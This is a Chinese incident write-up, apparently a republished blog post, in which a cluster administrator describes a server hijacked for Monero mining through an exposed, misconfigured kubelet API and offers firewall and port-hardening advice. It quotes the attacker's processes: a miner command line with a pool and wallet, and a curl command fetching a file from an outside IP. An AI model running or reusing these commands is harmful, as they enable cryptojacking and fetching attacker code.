掃二維碼與項(xiàng)目經(jīng)理溝通
我們在微信上24小時(shí)期待你的聲音
解答本文疑問/技術(shù)咨詢/運(yùn)營咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流
圖片來自 包圖網(wǎng)

網(wǎng)絡(luò)安全是個(gè)嚴(yán)肅的問題,它總是在不經(jīng)意間出現(xiàn),等你反應(yīng)過來卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā),去檢查及加固自己的集群。
檢查到某臺(tái)機(jī)器中出現(xiàn)了異常進(jìn)程:
- ./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
- curl -s http://45.9.148.35/scan_threads.dat
簡單來講,就是我們的機(jī)器被用來挖礦了……
問題出現(xiàn)后,我們第一時(shí)間關(guān)閉了 Docker,其實(shí)應(yīng)該隔離下環(huán)境,把挖礦程序 dump 下來,以便后續(xù)分析。
出現(xiàn)了異常進(jìn)程,肯定是被入侵了,我首先看的是 iptables。果不其然,機(jī)器上的 iptables 規(guī)則是空的,意味著這臺(tái)機(jī)器在裸奔。
內(nèi)部同事提出了有可能是 kubelet 被入侵的問題,檢查過其他組件后,開始檢查 kubelet 組件。
最后檢查到 kubelet 日志中有異常:
確認(rèn)入侵問題,kubelet 參數(shù)設(shè)置錯(cuò)誤,允許直接訪問 kubelet 的 API。
發(fā)現(xiàn)是 kubelet 的啟動(dòng)項(xiàng)中,該位置被注釋掉:
然后文件中禁止匿名訪問的配置沒有讀取。
該項(xiàng)配置是由于我操作不當(dāng)注釋掉的。
由于是新增加的機(jī)器,當(dāng)晚就發(fā)現(xiàn)了問題,整個(gè)集群是我在管理的,我跟隨著一起排查,所以很快就找到了原因。
當(dāng)晚我就把其他機(jī)器中的配置項(xiàng)重新掃了一遍,假如它們的防火墻失效了,也會(huì)有類似的入侵情況發(fā)生,還好此次事件控制在 1 臺(tái)機(jī)器中。
其實(shí)該問題理論上講是可以避免的,是因?yàn)槌霈F(xiàn)了多層漏洞才會(huì)被有心人掃到。
我從外到內(nèi)整理了一下可能改進(jìn)的策略:
我這里不是拋出疑問,只是想告訴大家,考慮系統(tǒng)設(shè)計(jì)時(shí),有必要考慮下安全性。
發(fā)生了入侵事件后,同事開玩笑說,還好沒其他經(jīng)濟(jì)損失,要不我可能要回家了。
作為集群的管理員,只有自己最清楚問題的嚴(yán)重程度,從本質(zhì)上來講,問題已經(jīng)相當(dāng)嚴(yán)重了。入侵者相當(dāng)于擁有了機(jī)器上 Docker 的完整控制權(quán)限。
因?yàn)榇舜问录陌l(fā)生,不只是我,還有 SA 的同學(xué)基本都被 diao 了一遍,心里還是有點(diǎn)難受的,希望大家能對網(wǎng)絡(luò)安全問題有所重視,從加固防火墻開始,避免監(jiān)聽不必要的端口,這兩項(xiàng)至少是最容易實(shí)現(xiàn)的。
作者:corvofeng
編輯:陶家龍
出處:https://corvo.myseu.cn/

我們在微信上24小時(shí)期待你的聲音
解答本文疑問/技術(shù)咨詢/運(yùn)營咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流